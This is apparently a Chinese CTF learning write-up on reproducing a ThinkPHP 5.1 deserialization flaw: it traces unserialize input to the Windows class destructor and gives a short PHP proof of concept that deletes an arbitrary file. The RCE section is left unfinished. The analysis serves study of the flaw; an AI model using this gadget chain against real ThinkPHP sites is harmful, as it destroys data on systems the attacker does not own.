ThinkPHP5.1反序列化漏洞复现
2022-06-09 09:43:07 # Web Security # PHP漏洞

前言

大概练习了下一些简单的PHP反序列化漏洞以后,决定尝试一下漏洞复现。正好做CTF的时候看到了ThinkPHP反序列化漏洞的复现题,结果因为一些很小的问题(还是经验不足)废了很多很多时间,踩了很多坑,当然最后也收获了很多,对php反序列化漏洞有了新的认识。

看了下README,image-20210708232435849得知是5.1版本的,网上有各个师父的WP,看了很久终于搞明白了。

PHP审计环境安装

为了方便,参考网上的资料后,我在windows系统上安装了XAMPPPhpStorm,PhpStrom的配置就不说了,具体参考PHPstorm配置PHP运行环境,不过我在配置运行的时候遇到很多坑,比如在某个php文件点击运行的时候,右上角设置的configuration会自动改变,导致我以为网站运行不起来。不过PhpStorm还是挺好用的,英语输入法下ctrl+shift+f可全局搜索关键词(这个快捷键会自动转换成windows系统拼音的繁体)

任意文件删除漏洞复现

发现、分析过程

拿到源码的第一件事,我是搜索unserialize,后来在index.php发现了image-20210708234233838,所以我们可以通过POST请求来发送恶意代码。

接下来全局搜索魔法函数 __destruct,出现了四个结果

image-20210708234436994

发现只有Windows.php下的函数有利用价值

1
2
3
4
5
6
public function __destruct()
{
$this->close();
$this->removeFiles();//此处是个好东西

}

跟进removeFiles()之后,发现该方法依然在windows这个class里

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {//发现用到了$files这个attribute
if (file_exists($filename)) {//检测如果这个文件存在
@unlink($filename);//则删除这个文件
}
}
$this->files = [];
}

这意味着我们可以构造$files,让他执行removeFiles()来删除任意文件

构造POC

坑点一:需要注意的是,我们需要使用与Windows类相同的namespace(命名空间),我没加,导致在这卡了好久好久。

坑点二:序列化后的对象用file_put_contents()打出来乱码,发现是加了namespace后就会乱码,具体原因没有深入探究,改用echo就好了。

坑点三:加入namespace后,private类型attribute的格式发生了变化,变成了%00namespace\类名\%00属性名,一个小诀窍,记不住可以右键–查看网页源代码

image-20210709000912218

最后POC如下

1
2
3
4
5
6
7
8
9
<?php
namespace think\process\pipes;//一定要加,这是一个大坑
class Pipes{
}
class Windows extends Pipes
{
private $files = ["111.txt"];//要删除的文件
}
echo(serialize(new Windows()));

RCE漏洞复现

待更新。。